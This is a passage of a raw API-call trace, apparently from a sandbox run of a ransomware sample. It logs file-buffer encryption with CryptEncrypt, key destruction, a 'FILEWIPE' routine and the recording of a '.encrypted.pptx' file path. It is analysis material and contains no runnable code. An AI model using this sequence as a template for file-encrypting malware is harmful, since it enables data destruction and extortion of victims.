returned 0 [0026.135] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.135] CharLowerBuffW (in: lpsz="byte[95249]", cchLength=0xb | out: lpsz="byte[95249]") returned 0xb [0026.135] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.136] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.136] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.136] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.136] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.136] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x17408, dwBufLen=0x17410 | out: pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x17410) returned 1 [0026.137] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.137] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.137] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.137] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.137] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.137] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.137] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.137] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.137] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.137] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.137] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.137] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.137] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.137] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.137] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.137] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.137] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.142] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.142] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.142] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.144] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.145] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.145] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0026.145] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.145] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.145] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0026.145] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.145] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0026.145] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.145] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.145] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.145] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.145] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.145] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0026.145] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0026.145] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.145] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.145] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0026.145] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.145] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.145] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.145] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.145] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.146] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.146] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.146] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.146] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.146] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.146] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.146] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.146] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0026.146] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.146] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.146] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.146] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.146] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.146] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.146] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0026.146] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.146] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.146] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.146] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.146] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.146] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.146] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.148] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.149] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.149] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0026.149] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.149] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.149] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.150] CharLowerBuffW (in: lpsz="byte[95240]", cchLength=0xb | out: lpsz="byte[95240]") returned 0xb [0026.151] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.151] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0026.151] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.151] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0026.151] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.151] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.151] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.151] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0026.151] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.151] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.151] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.151] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.151] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.151] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.151] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.153] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.153] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.153] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.153] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.153] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.153] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.153] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.153] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.153] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.153] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0026.153] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.153] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.153] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.153] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0026.153] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.153] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.153] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.153] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.153] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.153] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.154] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0026.154] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.154] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.154] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.154] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.154] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.155] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.155] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.155] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0026.155] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.155] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.155] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.155] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.155] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.155] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0026.155] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=6093) returned 1 [0026.155] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.155] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0026.155] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0026.155] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x17cd, lpOverlapped=0x0) returned 1 [0026.156] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0026.156] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x17cd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.156] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=6093) returned 1 [0026.156] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\_Z34wuM36pNQy_aKa.encrypted.pptx\r\n", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0026.156] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\_Z34wuM36pNQy_aKa.encrypted.pptx\r\n", cchWideChar=66, lpMultiByteStr=0xe8f40514a0, cbMultiByte=66, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\_Z34wuM36pNQy_aKa.encrypted.pptx\r\n", lpUsedDefaultChar=0x0) returned 66 [0026.156] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4069890*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4069890*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x41, lpOverlapped=0x0) returned 1 [0026.156] CloseHandle (hObject=0x188) returned 1 [0026.157] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.157] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.157] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.157] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.157] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.157] CharUpperBuffW (in: 